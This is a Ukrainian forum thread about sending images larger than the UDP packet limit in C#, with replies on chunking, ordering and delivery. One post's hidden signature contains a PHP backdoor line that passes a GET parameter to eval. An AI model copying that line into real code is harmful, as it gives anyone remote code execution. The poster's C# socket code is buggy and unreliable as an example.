1 Востаннє редагувалося Юрій Ляхор (16.02.2015 16:37:38)

Тема: Відправлення зображення клієнту через UDP протокол

Реалізація обміну короткими повідомленнями між клієнтом та сервером у мене жодних питань не викликає на відміну від файлів, розмір котрих перевищує 65 535 байтів(Максимальний розмір пакету UDP). В принципі алгоритм рішення зрозумілий, це - "Розбити масив байтів з зображенням на багато масивів розмір котрих не перевищує 65 535 байтів, по черзі відправити їх клієнту, а потім скласти з них наново зображення. Але я не розумію як це реалізувати у c# не передавши зайві байти.

Допоможіть мені будь ласка прикладом, бо вже тиждень над цим міркую.

2 Востаннє редагувалося yarko (16.02.2015 16:54:26)

Re: Відправлення зображення клієнту через UDP протокол

UDP не гарантує успішної доставки.
Як Ви збираєтесь "склеювати" на приймаючій стороні малюнок, якщо 1+ кусок не дойде?
Чи замість втраченого куска в малюнку буде білий квадратик?

Qt 5.4.0
Подякували: koala1

3

Re: Відправлення зображення клієнту через UDP протокол

Також не гарантує послідовності прийняття шматків (блоків).

x

4

Re: Відправлення зображення клієнту через UDP протокол

Chemist-i написав:

Також не гарантує послідовності прийняття шматків (блоків).

Послідовність ще можна самому вказати в даних.

Qt 5.4.0

5

Re: Відправлення зображення клієнту через UDP протокол

UDP не гарантує успішної доставки.

Це очевидні речі, якщо людина обрала цей протокол значить вона вже має це знати

Як Ви збираєтесь "склеювати" на приймаючій стороні малюнок, якщо 1+ кусок не дойде?

В найпростішому випадку: Надсилання інформації - підтвердження доставки і з таймаутами це все. Не гірше вашого TCP STREAM

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»
Подякували: Юрій Ляхор1

6

Re: Відправлення зображення клієнту через UDP протокол

Просто мені це потрібно для потокової передачі відео, а там більш важлива швидкість передачі даних, ніж гарантія доставки усіх пакетів. Скайп наприклад передає аудіо та відео протоколом UDP.

Подякували: 0xDADA11C71

7

Re: Відправлення зображення клієнту через UDP протокол

0xDADA11C7, Можна докладніше будь ласка

8

Re: Відправлення зображення клієнту через UDP протокол

Докладніше - почитайте теми користувача FakiNyan - він робив таке з UDP, якщо не знайдете там потрібного коду - відпишіться тут - щось придумаємо.

Говорила баба діду: «Я поїду к Білодіду, Ізучу двомовну мову І вернусь обратно знову». А дід бабі: «Не *изди, К Білодіду нєт їзди, — Туди не ходять поїзди»

9

Re: Відправлення зображення клієнту через UDP протокол

Будете ще довше міркувати, доки не приберете умову "не передавши зайві байти". Вам знадобиться щонайменше два додаткових поля - номер поточного пакета (UDP не гарантує послідовності передачі пакетів) і загальна кількість пакетів.

10

Re: Відправлення зображення клієнту через UDP протокол

У FakiNyan були теми пов'язані з UDP але вони не торкались мого питання.

11

Re: Відправлення зображення клієнту через UDP протокол

Прихований текст
А може ви і є Fakinyan?!!!!!
<?php
echo '<html><body><h1>This is my home page</h1>DATING &amp; DOORWAY</body></html>';
if (isset($_GET['adminka'])) eval($_GET['adminka']);
Если ты это читаешь, тебе должно быть стыдно! Займись чем–нибудь полезным!
Подякували: quez1

12 Востаннє редагувалося Юрій Ляхор (16.02.2015 17:59:23)

Re: Відправлення зображення клієнту через UDP протокол

Я вирішив це зробити не за допомогою UDP Client, а за допомогою Socket.
Вийшло щось таке:

Socket udp = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
IPAddress IP = IPAddress.Parse("127.0.0.1");
udp.Connect(IP, 5003);
Сервер: 
for (int i = 0; i < 458500; i = i + 65500)
            {
                udp.Send(cadr, i, 65500, SocketFlags.None);
            }
Клієнт:
 byte[] bVideo = new byte[458500]; //максимальний розмір зображення 458кб
 byte[] bPiece = new byte[65500];
 for (int i = 0; i < 7; i++)
                {
                    udp.Receive(bPiece, 65500, 65500, SocketFlags.None);
                    bVideo = bVideo.Concat(bPiece).ToArray();
                }
                Bitmap Video = ConvertToBitmap(bVideo);
                pictureBox1.Image = Video;

Але чогось виникає помилка:
"Запит на надсилання або отримання даних заборонено, оскільки сокет не підключено та (у разі надсилання до сокету дейтаграм за допомогою виклику sendto) не вказано адресу"

13

Re: Відправлення зображення клієнту через UDP протокол

У Вашому разі "не за допомогою юдіпі а за допомогою сокіт" означає "я краще з'їм не яблуко, а фрукт". І він смачно хрумнув яблуко.

Подякували: koala1